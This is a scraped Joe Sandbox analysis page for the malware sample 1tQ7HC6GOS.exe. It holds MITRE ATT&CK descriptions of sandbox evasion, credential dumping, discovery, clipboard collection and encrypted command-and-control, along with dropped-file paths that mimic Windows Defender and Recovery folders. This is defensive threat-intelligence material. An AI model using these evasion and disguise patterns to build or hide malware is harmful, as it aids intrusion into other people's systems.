Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1tQ7HC6GOS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\MsComponentSvc\MXgWX4.bat

C:\MsComponentSvc\hyperServer.exe

C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe

C:\Program Files\Internet Explorer\images\27594514469294

C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe

C:\Program Files\Windows Defender\Offline\cmd.exe

C:\Program Files\Windows Defender\Offline\ebf1f9fa8afd6d

C:\Recovery\55b276f4edf653

C:\Recovery\StartMenuExperienceHost.exe

C:\Users\Default\Music\27594514469294

C:\Users\Default\Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe

Windows Analysis Report
1tQ7HC6GOS.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre